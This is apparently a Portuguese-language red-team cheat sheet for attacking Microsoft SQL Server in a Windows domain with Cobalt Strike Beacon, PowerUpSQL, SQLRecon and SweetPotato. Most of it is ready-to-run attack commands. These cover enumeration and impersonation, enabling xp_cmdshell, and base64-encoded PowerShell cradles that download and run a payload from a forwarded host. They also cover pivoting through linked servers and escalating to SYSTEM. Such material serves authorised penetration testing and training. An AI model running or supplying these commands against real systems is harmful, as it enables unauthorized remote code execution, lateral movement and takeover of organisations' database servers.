Microsoft SQL Server

Enumerando

PowerUpSQL

O PowerUpSQL tem alguns cmdlets disponíveis para localizar servidores MS SQL, incluindo Get-SQLInstanceDomain, Get-SQLInstanceBroadcaste Get-SQLInstanceScanUDP Podemos pesquisar SPNs que começam com MSSQL. Na saída do comando abaixo, podemos ver a máquina que está executando o MSSQL, assim como o contexto da conta de Domínio que está em utuilização.

powershell-import <C:\path\to\PowerUpSQL\PowerUpSQL.ps1>
powershell Get-SQLInstanceDomain

Para coletar mais informações sobre a instância, execute:

powershell Get-SQLServerInfo -Instance "<Instance>"

Você também pode pesquisar no Domínio por grupos que pareçam ter acesso a instâncias de banco de dados (por exemplo, p grupo SQL Admins). Para o comando executar o comando abaixo, utilize o retorno do campo Instance na saída do comando acima, que terá um resultado no formato hostname-mssql.domain.local,1433.

powershell Get-SQLConnectionTest -Instance "<Instance>" | fl

Se houver muitos SQL Servers disponíveis, utilize o comando abaixo para automatizar a coleta de dados.

powershell Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

Com acessos privilegiados (utilize antes o make_token em uma conta para isso), podemos executar queries no banco de dados

powershell Get-SQLQuery -Instance "<Instance>" -Query "<query>"
powershell Get-SQLQuery -Instance "<Instance>" -Query "select @@servername"

SQLRecon

SQLRecon também pode enumerar servidores via SPNs e buscar informações sobre a instância com o módulo info.

execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /enum:sqlspns

Com o resultado do comando acima, utilize o valor do campo ComputerName para executar o comando abaixo e ter acesso a informações sobre o servidor

execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /auth:wintoken /host:<ComputerName> /module:info

A opção /auth:wintoken permite que SQLRecon use o token de acesso do Beacon. Podemos ver assim, se o nosso usuário atual é ou não um administrador Caso não seja, o SQLRecon tem um módulo interessante que pode nos mostrar quais funções nós temos.

execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:whoami

Encontrar um usuário (ou grupo) que tenha acesso pode ser um desafio, porque sem a capacidade de consultar a instância SQL para fazer isso, você pode ficar sem adivinhar. Uma opção é procurar nomes padrões (com forte indicativo) para grupos de Domínio e seus membros.

powershell-import <C:\path\to\PowerSploit\Recon\PowerView.ps1>
powershell Get-DomainGroup -Identity *SQL* | % { Get-DomainGroupMember -Identity $_.distinguishedname | select groupname, membername }

Outra opção é ir atrás da própria conta de serviço MS SQL, pois ela também recebe privilégios de administrador de sistema. Essa suposição é a base do caminho de ataque SQLAdmin do BloodHound. Sabemos que a conta de Domínio usada para executar o serviço é <mssql_svc_user> e que a conta está vulnerável a kerberoastable devido ao seu SPN. Se conseguirmos quebrar sua senha em texto simples, poderemos usá-la para obter acesso à instância SQL. As credenciais podem ser usadas com make_token no Beacon.

execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:windomain /d:<subdomain.domain.local> /u:<mssql_svc_user> /p:<pass> /h:<Instance> /m:whoami

Com acessos privilegiados (utilize antes o make_token em uma conta para isso), podemos executar queries no banco de dados

execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:query /c:"<query>"
execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:query /c:"select @@servername"

mssqlclient.py (Impacket) com Proxychains

proxychains mssqlclient.py -windows-auth <SUBDOMAIN>/<user>@<ip>
<query>

Impersonate

Descobrindo acessos disponíveis para personificação.

SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';

Na saída do comando, a coluna grantee_principal_id pode fazer Impersonate para o grantor_principal_id. Como os IDs não nos dizem muito, execute a query abaixo para ver quem são os usuários dos respectivos IDs

SELECT name, principal_id, type_desc, is_disabled FROM sys.server_principals;

Também podemos escrever uma query que unirá essas duas ou usar o módulo de Impersonate do SQLRecon.

execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:impersonate

Outra maneira, é acessando o MSSQL de forma interativa. Execute o comando abaixo e, caso retorne 0, significa que o usuário não é sysadmin

SELECT IS_SRVROLEMEMBER('sysadmin');

Agora vamos realizar o Impersonate e então, executar novamente o comando acima, a resposta agora deve ser 1

EXECUTE AS login = '<SUBDOMAIN>\<mssql_svc_user>'; SELECT SYSTEM_USER;
EXECUTE AS login = '<SUBDOMAIN>\<mssql_svc_user>'; SELECT IS_SRVROLEMEMBER('sysadmin');

Os módulos SQLRecon também podem ser executados no Impersonation Mode, prefixando o nome do módulo com o parâmetro i e especificando o principal a ser representado

execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:iwhoami /i:<SUBDOMAIN>\<mssql_svc_user>

Command Injection (RCE)

O xp_cmdshell pode ser usado para executar comandos shell no servidor SQL se você tiver privilégios de administrador de sistema. O mesmo irá falhar se você tentar manualmente no mssqlclient, pois o xp_cmdshell está desabilitado.

powershell Invoke-SQLOSCmd -Instance "<Instance>" -Command "whoami" -RawResults

Para verificar o estado atual do xp_cmdshell, execute:

SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell';

Caso o retorno seja 0, significa que o xp_cmdshell está desabilitado, então devemos habilitá-lo com o seguinte comando:

sp_configure 'Show Advanced Options', 1; RECONFIGURE;
sp_configure 'xp_cmdshell', 1; RECONFIGURE;

Execute novamente o comando para verificar se o estado atual do xp_cmdshell foi alterado.

Apesar disso funcionar, alterar configurações de banco de dados é um trabalho muito sensível e que pode nos trazer problemas. Por isso, é recomendado utilizar ferramentas como o Invoke-SQLOSCmd, porque ele tentará ativar automaticamente xp_cmdshell se ainda não estiver, executar o comando fornecido e desativá-lo novamente. Sendo assim, não precisamos desfazer manualmente nossas alterações.

Com o xp_cmdshell ativo, já podemos montar o nosso payload para termos o Beacon em mãos. O primeiro passo é ter o payload disponível no CS que, por questões de exemplo, estamos utilizando o smb_x64.ps1.

Vamos fazer o Port Forwarding para que a porta 8080 da máquina com o Beacon ativo, redirecione para o CS na porta 80. Vamos também criar uma regra no Firewall para não termos problemas de bloqueio

rportfwd 8080 localhost 80
powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080

O payload será encodado em base64.

$str = 'iex (new-object net.webclient).downloadstring("http://<host.domain.local>:8080/<mysther>")'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

Execute a query:

exec xp_cmdshell 'powershell -w hidden -enc <base64>'

No Beacon da máquina que tem acesso ao SQL Server, execute:

# O pipe deve existir na máquina alvo
link <host-sql.domain.local> <TSVCPIPE-aa5a6743-ff3f-2c44-8bd4-3dbda33899a9>

SQLRecon

SQLRecon também possui um módulo para verificar a configuração xp_cmdshell, que também pode ser combinado com o módulo de Impersonate.

execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:ienablexp /i:<SUBDOMAIN>\<mssql_svc_user>

E por fim, executando comandos no SO

execute-assembly C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:<Instance> /m:ixpcmd /i:<SUBDOMAIN>\<mssql_svc_user> /c:<command>

Movimentação Lateral

Procurando por links, que em resumo é um conceito onde a instância do SQL Server permite acessar dados de uma fonte externa.

execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:links

Ou caso prefira fazer manualmente, basta executar a query abaixo

SELECT srvname, srvproduct, rpcout FROM master..sysservers;

Para executar queries nos servidores que estão "linkados", execute o comando abaixo. Aproveite também para ver se o xp_cmdshell está ativo no host alvo.

execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:lquery /l:<host-sql.domain.local> /c:"<query>"
execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:lquery /l:<host-sql.domain.local> /c:"select name,value from sys.configurations WHERE name = ''xp_cmdshell''"

Ou se preferir, pode executar uma query para realizar tal operação. As aspas duplas no segundo parâmetro são obrigatórias, não utilize aspas duplas. Não utilize escapes de aspas simples com barra invertido, mas sim com outra aspas simples

SELECT * FROM OPENQUERY("<host-sql.domain.local>", '<query>');
SELECT * FROM OPENQUERY("<host-sql.domain.local>", 'SELECT ''teste''');

Para habilitar o xp_cmdshell de outro SQL Server,execute a query abaixo (os colchetes são obrigatórios):

EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT [<host-sql.domain.local>]
EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [<host-sql.domain.local>]

É sempre bom também, vermos se o SQL Server que está com link, também possui outros links.

execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:llinks /l:<host-sql.domain.local>

Fazer esse processo em todos os servidores MSSQL pode ser algo demorado (dependendo da complexibilidade da rede), então podemos automatizar esse processo através do seguinte comando:

powershell-import C:\path\to\PowerUpSQL\PowerUpSQL.ps1
powershell Get-SQLServerLinkCrawl -Instance "<Instance>"

Verificando os acessos que possuímos no MSSQL remoto via Link

execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:lwhoami /l:<host-sql.domain.local>

Reverse Shell

Ao fazer movimentação lateral de um SQL para outro, pare a forwarding na port 8080 do primeiro SQL Server, e configure o segundo SQL Server para utilizar a porta 8080

# Máquina com Beacon utilizada para pegar o primeiro SQL Server
rportfwd stop 8080

# SQL Server com Beacon
powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080
rportfwd 8080 localhost 80

Agora vamos montar o Reverse Shell

$str = 'iex (new-object net.webclient).downloadstring("http://<sql-alvo.subdomain.domain.local>:8080/<mysther>")'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

Execute a query abaixo, porém se atente, pois quando for utilizar o OPENQUERY, a query no segundo parâmetro tem que ficar entre aspas simples, então utilize escapes de aspas simples com outra aspas simples ao invés da barra invertida.

SELECT * FROM OPENQUERY("<host-sql.domain.local>", 'select @@servername ; exec xp_cmdshell ''powershell -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8APABoAG8AcwB0AD4AOgA4ADAAOAAwAC8AbQB5AHMAdABoAGUAcgAiACkA''');

No Beacon do SQL Server, execute

# O pipe deve existir na máquina alvo
link <host-sql.domain.local> <TSVCPIPE-9afa27ce-efe5-4c1b-8378-5bd7d8862999>

Escalação de Privilégios

O padrão durante instalações SQL mais modernas, possui instância do SQL executada como NT Service\MSSQLSERVER. Ele possui um tipo especial de privilégio chamado SeImpersonatePrivilege, que permite à conta realizar o impersonate de outros usuários. Resumindo, esse privilégio permite que o usuário personifique um token que ele consegue controlar. No entanto, como esta conta não é um administrador local, ela não pode simplesmente controlar um processo com privilégios mais altos (por exemplo, SYSTEM) já em execução na máquina. Uma estratégia que muitos autores criaram é forçar um serviço SYSTEM a se autenticar em um serviço não autorizado criado pelo invasor. Esse serviço não autorizado é então capaz de se passar pelo serviço SYSTEM enquanto tenta se autenticar. Para verificar os privilégios atuais, execute (procure por SeImpersonatePrivilege):

execute-assembly <C:\path\to\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe> TokenPrivileges

O SweetPotato possui uma coleção dessas diversas técnicas que podem ser executadas. No exemplo abaixo, estamos pegando acesso ao SYSTEM

execute-assembly <C:\path\to\SweetPotato\bin\Release\SweetPotato.exe> -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-w hidden -enc aWV4IChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKCdodHRwOi8vPGhvc3QuZG9tYWluLmxvY2FsPjo8cG9ydD4vbXlzdGhlcj4nKQ=="
connect localhost 4444

Sites

# PowerUpSQL
https://github.com/NetSPI/PowerUpSQL

# SweetPotato
https://github.com/CCob/SweetPotato

Last updated